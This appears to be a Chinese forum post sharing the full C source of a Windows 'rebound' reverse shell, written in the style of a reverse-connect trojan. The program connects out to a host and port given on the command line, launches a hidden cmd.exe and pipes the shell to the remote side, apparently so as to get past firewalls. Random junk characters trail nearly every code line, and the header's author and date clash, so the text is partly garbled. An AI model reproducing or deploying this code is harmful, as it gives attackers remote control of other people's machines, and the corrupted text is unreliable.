这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Gz~P
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/* ============================== ybf`7KEP2A
Rebound port in Windows NT {My/+{eS!?
By wind,2006/7 8<?60sj
===============================*/ XF{}St~ (
#include g4j?E{M?
#include ='OPU5(;O
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#pragma comment(lib,"wsock32.lib") "2 qp-'^[c
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void OutputShell(); yZA}WTGe
SOCKET sClient; HK5\i@G+<
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; &HZ"<y{j
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void main(int argc,char **argv) =?T'@C
{ jcOxtDTSW
WSADATA stWsaData; Cq/*/jBM
int nRet; *wyaBV?*K
SOCKADDR_IN stSaiClient,stSaiServer; =QOtag1;
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if(argc != 3) WQ =C5^u
{ eA#J7=eC
printf("Useage:\n\rRebound DestIP DestPort\n"); 2Wq)y1R<T
return; Ry[VEn>C1
} SS@#$t:
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WSAStartup(MAKEWORD(2,2),&stWsaData); t#}/VnSQ
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4wMKl6mL
# TC
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stSaiClient.sin_family = AF_INET; nXk<DlTws
stSaiClient.sin_port = htons(0); TpuN[Y
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); .0cm
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) r^VH [c@c
{ \ d+&&ns
printf("Bind Socket Failed!\n"); X@5!I+u\L
return; kiZA$:V8
} B@=+Fg DD
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stSaiServer.sin_family = AF_INET; 2zh?]if
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 73rr">
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); X'IW&^kI
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) /H^=`[Mr
{ ~aNK)<Fznd
printf("Connect Error!"); }rxFX
return; a7)q^;:O
} uw&GXOzew9
OutputShell(); /J<?2T9G
} ="P3TP
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void OutputShell() KFkKr>S:
{ 5 b( [1*
char szBuff[1024]; ^g$k4
SECURITY_ATTRIBUTES stSecurityAttributes; s3W35S0Q 3
OSVERSIONINFO stOsversionInfo; s{2BG9s
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; UsNr$MO
{
STARTUPINFO stStartupInfo; Ts:3_4-k
char *szShell; (?72 vCc
PROCESS_INFORMATION stProcessInformation; cwlXb!S$
unsigned long lBytesRead; ]m{;yOQdsC
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); t^)q[g
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); tY C`?HT
stSecurityAttributes.lpSecurityDescriptor = 0; `^-?yu@
stSecurityAttributes.bInheritHandle = TRUE; )Mx[;IwE
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); f\!*%xS;
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0);
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); R4"["T+L`
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WIb\+!
stStartupInfo.wShowWindow = SW_HIDE; y/K% F,WMf
stStartupInfo.hStdInput = hReadPipe; 9t(B{S
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; s<cg&`u,<M
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GetVersionEx(&stOsversionInfo); $NJ]2P9L
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switch(stOsversionInfo.dwPlatformId) Q*+@"tk<
{ 8c\mm 0n
case 1: {c<MB xk
szShell = "command.com"; [3>l^Q|#
break; [-f0s;F1%
default: 8RbtI4
szShell = "cmd.exe"; ;TD<\1HJT=
break; f(=yC}si
} w:I^iI.
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); `9B xDp]I
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send(sClient,szMsg,77,0); , d ?4"8_
while(1) +?zyFb]Km
{ lb2mWsg"
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); d}3<nz,
if(lBytesRead) Ne,7[k
{ G1
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); >Y?B(I2e
send(sClient,szBuff,lBytesRead,0); \/$T 3f`x
} Z7"8dlb
else [Maon.t!l
{ Mcj4GjV6:"
lBytesRead=recv(sClient,szBuff,1024,0); PA5ET@mD
if(lBytesRead<=0) break; g3 6oEz~|
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); z[b,:G
} N*$<Kjw
} &<R8'
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return; [Tby+pC
}